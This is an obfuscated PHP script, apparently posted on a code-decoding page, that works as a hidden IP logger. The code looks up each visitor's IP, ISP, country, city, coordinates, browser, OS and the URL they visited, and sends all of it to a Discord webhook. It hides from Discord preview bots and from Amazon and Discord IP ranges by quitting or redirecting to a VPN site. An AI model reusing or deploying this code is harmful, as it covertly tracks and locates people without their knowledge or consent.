PHP Decode

<?php
 goto AE5nw; gm3EQ: $json_data = json_encode(array("\165\163\x65\162\x6e\141\155\x65" => "\114\157\147\147\x65\162", "\x65\x6d\142\x65\x64\163" => array(array("\164\151\x74\x6c\145" => "\74\141\x3a\155\x6f\x64\103\150\x65\x63\x6b\72\71\x39\66\x39\61\x30\x39\x37\x35\x32\62\65\x37\x30\x38\x37\x39\x34\x3e\x20\111\x50\40\154\x6f\x67\x67\x65\162\x20\x3c\141\72\x6d\x6f\144\103\x68\x65\x63\x6b\72\x39\x39\66\71\x31\x30\71\67\65\62\x32\x35\67\60\x38\x37\x39\64\76", "\144\x65\x73\143\x72\151\160\x74\151\157\x6e" => "\155\x6f\x72\145\x20\151\156\x66\157\40\x3c\72\x73\x6f\x6f\156\x74\x6d\120\111\116\x4b\61\72\x37\60\x35\65\60\60\62\63\66\x30\x34\x36\66\x36\x33\70\61\62\76\74\72\163\157\157\156\164\x6d\120\111\116\x4b\62\x3a\67\60\65\x35\x30\60\62\63\x35\71\67\x30\71\x30\64\61\x33\66\76", "\x74\x79\160\145" => "\162\x69\x63\x68", "\x74\151\x6d\x65\x73\x74\x61\155\160" => $timestamp, "\x63\157\154\x6f\162" => hexdec("\x33\63\66\66\x66\x66"), "\x66\x69\x65\154\x64\163" => array(array("\156\141\155\x65" => "\74\x3a\154\151\x70\142\x69\x74\145\x3a\71\65\63\71\66\66\67\x36\x39\67\x31\x37\60\60\x36\63\x38\x36\76\x20\x49\120\x20\111\x6e\146\157", "\166\141\x6c\165\x65" => "\x2a\52\137\x5f\111\x50\137\x5f\52\52\72\40{$ipaddress}\12\x2a\x2a\x5f\x5f\111\123\x50\137\x5f\x2a\x2a\72\x20{$ISP}\12\x2a\52\x5f\137\x50\x72\157\170\x79\137\x5f\x2a\52\x3a\40{$ProxyCheck}", "\x69\156\x6c\151\x6e\x65" => true), array("\156\141\x6d\x65" => "\x3c\x61\72\x72\x6f\142\x6c\x6f\x78\x5f\x64\x61\x6e\143\145\x3a\x38\x31\64\71\66\x33\x37\63\64\x31\64\64\70\x37\x36\65\71\65\x3e\40\114\157\x63\x61\164\x69\157\156", "\166\x61\x6c\165\x65" => "\x2a\52\137\x5f\103\x6f\x75\x6e\x74\x72\171\x5f\x5f\52\52\72\40{$Country}\xa\52\x2a\137\x5f\122\145\x67\151\157\x6e\137\137\x2a\x2a\72\x20{$Region}\12\52\x2a\x5f\x5f\x43\151\164\171\137\137\x2a\52\72\x20{$City}\xa\52\52\x5f\x5f\103\x6f\157\162\144\x69\156\141\164\x65\163\137\137\52\52\72\x20{$COORD}", "\x69\156\x6c\x69\156\145" => true), array("\x6e\141\155\145" => "\360\x9f\222\xbb\x20\x42\x72\x6f\167\163\x65\x72\40\111\x6e\146\157", "\x76\141\x6c\165\x65" => "\x2a\52\137\137\102\x72\157\167\163\x65\x72\x5f\137\52\52\x3a\40{$browser}\xa\x2a\x2a\x5f\137\x4f\123\137\137\x2a\52\x3a\40{$OS}\xa\x2a\x2a\x5f\x5f\x55\163\x65\162\40\x41\x67\145\156\164\x5f\x5f\52\x2a\72\40{$userAgent}\xa", "\151\156\154\x69\x6e\145" => false), array("\x6e\x61\x6d\145" => "\360\237\224\x97\40\114\151\x6e\153", "\166\141\154\165\145" => "\52\x2a\x5f\137\x4c\151\156\x6b\137\137\x2a\52\72\40\140{$_SERVER["\110\x54\x54\120\x5f\x48\x4f\x53\x54"]}{$_SERVER["\x52\x45\x51\125\x45\x53\x54\137\x55\x52\x49"]}\140", "\x69\156\154\151\156\145" => false))))), JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto uhwgA; c3UFS: curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); goto XGTxr; cGf0k: curl_setopt($ch, CURLOPT_POST, 1); goto L28bZ; FbRMH: curl_close($Curl); goto IUDfX; zfqyo: curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); goto cGf0k; riT7w: function getBrowser() { $browser = "\x55\x6e\x6b\156\157\167\156\x20\102\x72\157\167\163\x65\162"; $browser_array = array("\x2f\155\x73\x69\x65\x2f\151" => "\111\156\164\x65\162\156\x65\164\40\105\170\x70\154\x6f\162\x65\162", "\57\x66\x69\162\x65\x66\x6f\x78\57\151" => "\x46\151\162\145\146\x6f\170", "\x2f\x4d\x6f\172\151\x6c\154\141\57\x69" => "\x4d\157\172\x69\154\141", "\57\x4d\x6f\172\151\154\154\141\40\x35\56\60\x2f\x69" => "\115\157\x7a\151\x6c\141", "\x2f\x73\x61\x66\x61\162\151\x2f\151" => "\123\x61\x66\x61\x72\x69", "\x2f\x63\150\162\x6f\155\145\57\151" => "\x43\x68\x72\157\155\x65", "\x2f\x65\144\147\145\x2f\151" => "\x45\x64\147\x65", "\x2f\157\160\145\162\141\57\x69" => "\117\x70\x65\x72\141", "\x2f\117\120\122\x2f\151" => "\x4f\x70\x65\162\x61", "\57\156\x65\164\163\x63\141\x70\145\57\x69" => "\116\145\164\x73\143\141\x70\x65", "\57\155\141\x78\x74\x68\157\156\57\151" => "\x4d\x61\x78\x74\150\157\x6e", "\57\x6b\157\x6e\x71\x75\x65\162\x6f\162\57\151" => "\x4b\x6f\156\x71\x75\x65\x72\157\162", "\57\102\157\164\57\x69" => "\x42\117\x54\40\x42\x72\x6f\167\x73\145\x72", "\x2f\x56\x61\x6c\x76\x65\40\123\164\x65\x61\155\x20\107\x61\155\145\117\x76\x65\162\x6c\x61\x79\x2f\x69" => "\x53\x74\145\x61\x6d", "\57\x6d\x6f\142\x69\154\145\x2f\151" => "\x48\141\156\144\x68\145\154\x64\x20\x42\162\x6f\x77\163\145\162"); foreach ($browser_array as $regex => $value) { if (preg_match($regex, $_SERVER["\110\124\x54\120\137\125\123\x45\122\x5f\101\x47\x45\116\x54"])) { $browser = $value; } } return $browser; } goto mAHyn; zwG9k: $City = $Info->city; goto u1mMf; GHghS: curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); goto zfqyo; AE5nw: $webhookurl = "\x68\x74\164\x70\163\x3a\57\57\144\x69\x73\143\x6f\x72\144\56\x63\157\155\57\x61\x70\x69\x2f\x77\145\142\x68\x6f\x6f\153\x73\57\x2e\56\x2e"; goto OWuzJ; XGTxr: curl_setopt($ch, CURLOPT_HEADER, 0); goto XoSd_; mAHyn: $userAgent = $_SERVER["\110\x54\x54\120\x5f\125\123\x45\x52\137\x41\107\105\x4e\x54"]; goto RymOp; oifsq: curl_setopt($Curl, CURLOPT_RETURNTRANSFER, true); goto MTyaq; kfYm7: $Info = json_decode(curl_exec($Curl)); goto FbRMH; NAvLg: $Region = $Info->regionName; goto zwG9k; OWuzJ: function getOS() { global $user_agent; $os_platform = "\125\x6e\x6b\156\157\167\156\40\x4f\x53\40\x50\x6c\x61\x74\x66\157\x72\x6d"; $os_array = array("\57\167\x69\156\144\157\x77\163\40\x6e\x74\x20\x31\60\x2f\151" => "\127\x69\156\144\x6f\167\163\x20\x31\60", "\x2f\167\151\156\144\x6f\x77\x73\40\156\164\40\66\x2e\63\x2f\151" => "\x57\x69\x6e\144\157\167\x73\40\x38\56\61", "\57\x77\151\x6e\x64\x6f\x77\x73\40\156\164\x20\x36\x2e\x32\57\151" => "\127\151\156\x64\157\x77\163\x20\x38", "\57\167\x69\156\144\157\x77\x73\40\x6e\164\40\66\56\x31\x2f\151" => "\x57\x69\x6e\144\157\167\x73\x20\x37", "\57\167\x69\156\144\157\167\163\40\156\x74\x20\x36\x2e\60\x2f\151" => "\127\151\x6e\x64\157\x77\x73\x20\126\x69\x73\164\141", "\57\x77\151\156\144\157\x77\x73\40\x6e\164\40\65\x2e\62\57\151" => "\127\x69\156\144\157\x77\x73\x20\x53\145\162\x76\x65\162\x20\x32\60\x30\x33\x2f\x58\120\40\170\66\x34", "\57\x77\151\156\x64\x6f\167\163\x20\156\164\40\65\x2e\61\57\151" => "\127\151\156\144\x6f\x77\163\40\x58\120", "\x2f\x77\x69\x6e\x64\157\x77\163\x20\x78\160\x2f\151" => "\127\x69\156\144\157\x77\x73\x20\x58\120", "\x2f\x77\x69\156\x64\x6f\x77\163\40\156\164\40\65\x2e\60\57\151" => "\x57\x69\156\x64\157\167\163\x20\62\x30\60\x30", "\x2f\x77\151\156\x64\157\167\163\x20\155\145\x2f\151" => "\x57\x69\156\x64\x6f\x77\x73\x20\x4d\x45", "\57\167\151\x6e\71\x38\57\x69" => "\127\151\x6e\144\157\167\x73\x20\71\x38", "\57\x77\151\156\x39\x35\x2f\x69" => "\x57\x69\156\x64\x6f\167\163\40\x39\65", "\x2f\x77\x69\x6e\x31\66\57\x69" => "\127\151\x6e\x64\157\167\163\40\63\x2e\61\61", "\x2f\x6d\x61\x63\x69\x6e\164\157\x73\x68\174\x6d\141\143\x20\x6f\163\x20\x78\57\151" => "\x4d\141\143\x20\x4f\x53\x20\130", "\57\x6d\x61\143\x5f\160\157\x77\145\162\x70\143\x2f\151" => "\x4d\141\143\40\x4f\x53\x20\71", "\x2f\x6c\151\156\165\170\57\151" => "\114\151\156\165\x78", "\x2f\x6b\x61\154\151\x6c\x69\156\x75\x78\x2f\x69" => "\113\141\154\151\114\151\156\x75\170", "\x2f\165\x62\x75\156\x74\x75\57\151" => "\x55\x62\x75\156\164\165", "\x2f\151\x70\x68\x6f\156\145\57\151" => "\x69\x50\x68\x6f\x6e\145", "\x2f\x69\x70\x6f\144\57\151" => "\x69\120\x6f\x64", "\x2f\x69\x70\141\x64\x2f\x69" => "\151\120\x61\x64", "\57\x61\x6e\144\162\x6f\x69\x64\57\151" => "\x41\156\x64\x72\157\151\144", "\57\142\154\x61\x63\x6b\x62\145\162\162\171\x2f\x69" => "\102\154\x61\143\x6b\102\145\x72\162\x79", "\57\x77\145\142\157\163\x2f\151" => "\115\157\x62\x69\154\145", "\57\127\151\156\x64\157\167\163\x20\120\x68\x6f\156\x65\57\151" => "\x57\151\x6e\144\157\x77\163\40\120\x68\x6f\156\x65"); foreach ($os_array as $regex => $value) { if (preg_match($regex, $_SERVER["\110\x54\x54\x50\x5f\x55\x53\105\122\137\101\107\105\116\x54"])) { $os_platform = $value; } } return $os_platform; } goto riT7w; IUDfX: $ISP = $Info->isp; goto w8E9Y; b_mQ6: $response = curl_exec($ch); goto kzPLM; Mk0j5: $arr = array("\101\155\141\x7a\157\156", "\x44\151\x73\x63\157\162\x64"); goto NFoU1; L7SX2: if (!empty($_SERVER["\x48\124\124\120\137\103\114\x49\x45\116\x54\137\x49\x50"])) { $ipaddress = $_SERVER["\x48\x54\x54\x50\137\103\x4c\x49\x45\116\x54\137\111\x50"]; } elseif (!empty($_SERVER["\110\x54\x54\x50\137\x58\x5f\x46\117\122\x57\101\x52\104\105\104\x5f\x46\117\122"])) { $ipaddress = $_SERVER["\110\124\124\x50\137\130\x5f\x46\x4f\x52\x57\101\x52\x44\105\104\x5f\x46\x4f\x52"]; } else { $ipaddress = $_SERVER["\x52\105\115\117\x54\105\137\101\x44\104\x52"]; } goto vcdS_; RymOp: $arr = array("\104\x69\163\x63\x6f\x72\144\102\157\164", "\x44\x69\x73\x63\x6f\x72\x64\142\x6f\164", "\53\x68\164\x74\160\x73\x3a\x2f\57\x64\151\x73\143\x6f\x72\x64\x61\x70\160\56\143\157\x6d", "\145\154\145\x63\x74\162\157\156", "\x64\151\x73\x63\x6f\162\144", "\106\151\x72\x65\x66\157\170\x2f\x39\x32\56\x30"); goto ec0VH; XoSd_: curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); goto b_mQ6; HycgN: $browser = getBrowser(); goto OI7VV; w8E9Y: $ProxyCheck = $Info->proxy ? "\342\234\x85" : "\xe2\x9d\x8c"; goto C3B_o; x_fSq: curl_setopt($ch, CURLOPT_HTTPHEADER, array("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x74\x79\x70\x65\72\x20\141\160\x70\154\x69\143\x61\x74\151\x6f\156\x2f\152\163\x6f\x6e")); goto GHghS; L28bZ: curl_setopt($ch, CURLOPT_POSTFIELDS, $json_data); goto c3UFS; ec0VH: foreach ($arr as &$value) { if (strpos($_SERVER["\x48\124\124\x50\137\x55\x53\105\x52\137\x41\x47\105\x4e\124"], $value) !== false) { die; } } goto L7SX2; NFoU1: foreach ($arr as &$value) { if (strpos($ISP, $value) !== false) { header("\114\x6f\143\x61\x74\151\157\156\72\x20\150\x74\164\x70\163\x3a\x2f\57\x6e\x6f\162\x64\x76\160\x6e\x2e\x6e\145\x74", true, 301); die; } } goto gm3EQ; C3B_o: $Country = $Info->country; goto NAvLg; vcdS_: $timestamp = date("\143", strtotime("\156\157\x77")); goto QfMGX; u1mMf: $COORD = "{$Info->lat}\x2c\x20{$Info->lon}"; goto HycgN; OI7VV: $OS = getOS(); goto Mk0j5; QfMGX: $Curl = curl_init("\150\x74\164\x70\x3a\57\x2f\151\x70\55\x61\160\x69\56\143\x6f\155\57\152\x73\x6f\x6e\57{$ipaddress}\77\x66\x69\145\x6c\x64\163\75\x73\164\x61\164\x75\163\54\143\x6f\165\x6e\164\x72\x79\x2c\x63\157\x75\x6e\164\x72\x79\103\157\x64\145\x2c\x72\x65\x67\x69\157\x6e\54\154\x61\x74\x2c\x6c\157\156\54\x72\x65\x67\x69\x6f\x6e\x4e\x61\x6d\145\54\143\x69\x74\171\x2c\172\151\x70\54\x74\151\155\145\172\x6f\x6e\145\x2c\151\163\x70\54\x6f\162\147\x2c\x61\x73\x2c\x70\162\x6f\x78\171"); goto oifsq; MTyaq: curl_setopt($Curl, CURLOPT_SSL_VERIFYPEER, false); goto sxReS; uhwgA: $ch = curl_init($webhookurl); goto x_fSq; sxReS: curl_setopt($Curl, CURLOPT_SSL_VERIFYHOST, false); goto kfYm7; kzPLM: curl_close($ch);